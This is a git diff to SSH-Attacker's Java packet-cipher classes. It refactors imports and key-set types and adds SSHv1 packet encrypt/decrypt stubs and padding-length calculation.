diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/PacketCryptoComputations.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/PacketCryptoComputations.java
index 0712fde2e..ac061aeff 100644
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/PacketCryptoComputations.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/PacketCryptoComputations.java
@@ -8,9 +8,9 @@
package de.rub.nds.sshattacker.core.packet;
import de.rub.nds.modifiablevariable.ModifiableVariableFactory;
+import de.rub.nds.modifiablevariable.ModifiableVariableHolder;
import de.rub.nds.modifiablevariable.bytearray.ModifiableByteArray;
import de.rub.nds.sshattacker.core.constants.BinaryPacketField;
-import de.rub.nds.sshattacker.core.protocol.common.ModifiableVariableHolder;
import java.util.Objects;
import java.util.Set;
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/cipher/PacketChaCha20Poly1305Cipher.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/cipher/PacketChaCha20Poly1305Cipher.java
index 14af16625..6eb15cceb 100644
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/cipher/PacketChaCha20Poly1305Cipher.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/cipher/PacketChaCha20Poly1305Cipher.java
@@ -12,11 +12,12 @@
import de.rub.nds.sshattacker.core.crypto.cipher.AbstractCipher;
import de.rub.nds.sshattacker.core.crypto.cipher.CipherFactory;
import de.rub.nds.sshattacker.core.exceptions.CryptoException;
+import de.rub.nds.sshattacker.core.layer.context.SshContext;
import de.rub.nds.sshattacker.core.packet.BinaryPacket;
+import de.rub.nds.sshattacker.core.packet.BinaryPacketSSHv1;
import de.rub.nds.sshattacker.core.packet.BlobPacket;
import de.rub.nds.sshattacker.core.packet.PacketCryptoComputations;
-import de.rub.nds.sshattacker.core.packet.cipher.keys.KeySet;
-import de.rub.nds.sshattacker.core.state.SshContext;
+import de.rub.nds.sshattacker.core.packet.cipher.keys.AbstractKeySet;
import java.util.Arrays;
import java.util.stream.Collectors;
import java.util.stream.Stream;
@@ -43,7 +44,8 @@ public class PacketChaCha20Poly1305Cipher extends PacketCipher {
/** ChaCha20-Poly1305 instance keyed with K_2 for main packet encryption / decryption. */
private final AbstractCipher mainCipher;
- public PacketChaCha20Poly1305Cipher(SshContext context, KeySet keySet, CipherMode mode) {
+ public PacketChaCha20Poly1305Cipher(
+ SshContext context, AbstractKeySet keySet, CipherMode mode) {
super(context, keySet, EncryptionAlgorithm.CHACHA20_POLY1305_OPENSSH_COM, null, mode);
headerCipher =
CipherFactory.getCipher(
@@ -67,10 +69,21 @@ public PacketChaCha20Poly1305Cipher(SshContext context, KeySet keySet, CipherMod
true);
}
+ @Override
+ public void encrypt(BinaryPacketSSHv1 packet) {
+ LOGGER.warn("SSHv1 does not Support CHACHA20 Cipher");
+ throw new RuntimeException();
+ }
+
+ @Override
+ public void decrypt(BinaryPacketSSHv1 packet) {
+ LOGGER.warn("SSHv1 does not Support GCM Cipher");
+ throw new RuntimeException();
+ }
+
@Override
protected void encrypt(BinaryPacket packet) throws CryptoException {
if (packet.getComputations() == null) {
- LOGGER.warn("Packet computations are not prepared.");
packet.prepareComputations();
}
PacketCryptoComputations computations = packet.getComputations();
@@ -181,7 +194,7 @@ protected void decrypt(BinaryPacket packet) throws CryptoException {
.collect(Collectors.toSet()));
DecryptionParser parser =
- new DecryptionParser(computations.getPlainPacketBytes().getValue(), 0);
+ new DecryptionParser(computations.getPlainPacketBytes().getValue() /*, 0*/);
packet.setPaddingLength(parser.parseByteField(BinaryPacketConstants.PADDING_FIELD_LENGTH));
packet.setCompressedPayload(
parser.parseByteArrayField(
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/cipher/PacketCipher.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/cipher/PacketCipher.java
index 2181d82a4..7d7d4b4cb 100644
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/cipher/PacketCipher.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/cipher/PacketCipher.java
@@ -7,22 +7,30 @@
*/
package de.rub.nds.sshattacker.core.packet.cipher;
+import de.rub.nds.modifiablevariable.util.ArrayConverter;
import de.rub.nds.sshattacker.core.constants.*;
import de.rub.nds.sshattacker.core.exceptions.CryptoException;
+import de.rub.nds.sshattacker.core.layer.context.SshContext;
+import de.rub.nds.sshattacker.core.layer.data.Parser;
import de.rub.nds.sshattacker.core.packet.BinaryPacket;
+import de.rub.nds.sshattacker.core.packet.BinaryPacketSSHv1;
import de.rub.nds.sshattacker.core.packet.BlobPacket;
-import de.rub.nds.sshattacker.core.packet.cipher.keys.KeySet;
-import de.rub.nds.sshattacker.core.protocol.common.Parser;
-import de.rub.nds.sshattacker.core.state.SshContext;
+import de.rub.nds.sshattacker.core.packet.cipher.keys.AbstractKeySet;
import de.rub.nds.tlsattacker.transport.ConnectionEndType;
+import java.io.ByteArrayInputStream;
+import java.util.Arrays;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
public abstract class PacketCipher {
+ private static final Logger LOGGER = LogManager.getLogger();
+
/** The SSH context this packet cipher is used in. */
protected final SshContext context;
/** The key set used by the cipher. */
- protected final KeySet keySet;
+ protected final AbstractKeySet keySet;
/** The encryption algorithm to use. */
protected final EncryptionAlgorithm encryptionAlgorithm;
@@ -35,7 +43,7 @@ public abstract class PacketCipher {
protected PacketCipher(
SshContext context,
- KeySet keySet,
+ AbstractKeySet keySet,
EncryptionAlgorithm encryptionAlgorithm,
MacAlgorithm macAlgorithm,
CipherMode mode) {
@@ -62,6 +70,14 @@ public final void process(BinaryPacket packet) throws CryptoException {
}
}
+ public final void process(BinaryPacketSSHv1 packet) throws CryptoException {
+ if (mode == CipherMode.ENCRYPT) {
+ encrypt(packet);
+ } else {
+ decrypt(packet);
+ }
+ }
+
/**
* Encrypts or decrypts the provided packet using this PacketCipher instance (the actual
* operation performed depends on the mode provided to the constructor).
@@ -79,10 +95,14 @@ public final void process(BlobPacket packet) throws CryptoException {
protected abstract void encrypt(BinaryPacket packet) throws CryptoException;
+ protected abstract void encrypt(BinaryPacketSSHv1 packet) throws CryptoException;
+
protected abstract void encrypt(BlobPacket packet) throws CryptoException;
protected abstract void decrypt(BinaryPacket packet) throws CryptoException;
+ protected abstract void decrypt(BinaryPacketSSHv1 packet) throws CryptoException;
+
protected abstract void decrypt(BlobPacket packet) throws CryptoException;
public EncryptionAlgorithm getEncryptionAlgorithm() {
@@ -93,7 +113,7 @@ public MacAlgorithm getMacAlgorithm() {
return macAlgorithm;
}
- public KeySet getKeySet() {
+ public AbstractKeySet getKeySet() {
return keySet;
}
@@ -109,17 +129,24 @@ protected ConnectionEndType getLocalConnectionEndType() {
return context.getConnection().getLocalConnectionEndType();
}
- protected static int calculatePacketLength(BinaryPacket packet) {
+ protected int calculatePacketLength(BinaryPacket packet) {
return BinaryPacketConstants.PADDING_FIELD_LENGTH
+ packet.getCompressedPayload().getValue().length
+ packet.getPaddingLength().getValue();
}
- protected static byte[] calculatePadding(int paddingLength) {
+ protected byte[] calculatePadding(int paddingLength) {
// For now, we use zero bytes as padding
return new byte[paddingLength];
}
+ protected byte calculatePaddingLength(BinaryPacketSSHv1 packet) {
+ int lenght = packet.getLength().getValue();
+ int padding_lenght = 8 - (lenght % 8);
+
+ return (byte) padding_lenght;
+ }
+
protected byte calculatePaddingLength(BinaryPacket packet) {
int effectiveBlockSize = encryptionAlgorithm.getBlockSize();
// If the block size of the cipher is smaller than 8, 8 is used as the block size
@@ -144,21 +171,31 @@ protected byte calculatePaddingLength(BinaryPacket packet) {
return (byte) paddingLength;
}
- protected static boolean isPaddingValid(byte[] padding) {
+ protected boolean isPaddingValid(byte[] padding) {
// Any padding shorter than 4 bytes and longer than 255 bytes is invalid by specification
return padding.length >= 4 && padding.length <= 255;
}
protected static class DecryptionParser extends Parser